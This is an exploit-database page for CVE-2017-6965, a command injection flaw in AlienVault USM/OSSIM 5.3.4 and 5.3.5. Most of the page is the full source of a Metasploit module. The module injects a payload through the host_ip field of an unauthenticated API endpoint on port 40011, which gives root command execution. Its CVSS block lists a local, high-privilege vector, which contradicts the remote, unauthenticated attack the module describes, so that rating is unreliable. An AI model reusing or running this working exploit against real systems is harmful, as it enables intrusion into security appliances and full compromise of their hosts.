Exploitalert - Database of Exploits

AlienVault USM/OSSIM 5.3.4 / 5.3.5 Remote Command Execution

CVE	Category	Price	Severity
CVE-2017-6965	CWE-78	$5,000	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-04-14

CPE
cpe:cpe:/a:alienvault:usm_ossim:5.3.4

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2017040091

AlienVault USM/OSSIM 5.3.4 / 5.3.5 Remote Command Execution## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AlienVault USM/OSSIM API Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. }, 'Author' => [ 'Unknown', # Privately disclosed to Alienvault 'Peter Lapp ([email protected])' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.alienvault.com/forums/discussion/8415/'] ], 'Privileged' => false, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'SSL' => true }, 'Targets' => [ [ 'Automatic', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 5 2017')) register_options( [ Opt::RPORT(40011) ], self.class) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'), 'vars_post' => { 'host_ip' => "127.0.0.1" }, 'headers' => { 'Accept' => "application/json" } }) if res and res.code == 200 and res.body.include?('success') return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Executing payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'), 'vars_post' => { 'host_ip' => ";#{payload.encoded}" }, 'headers' => { 'Accept' => "application/json" } }) end end

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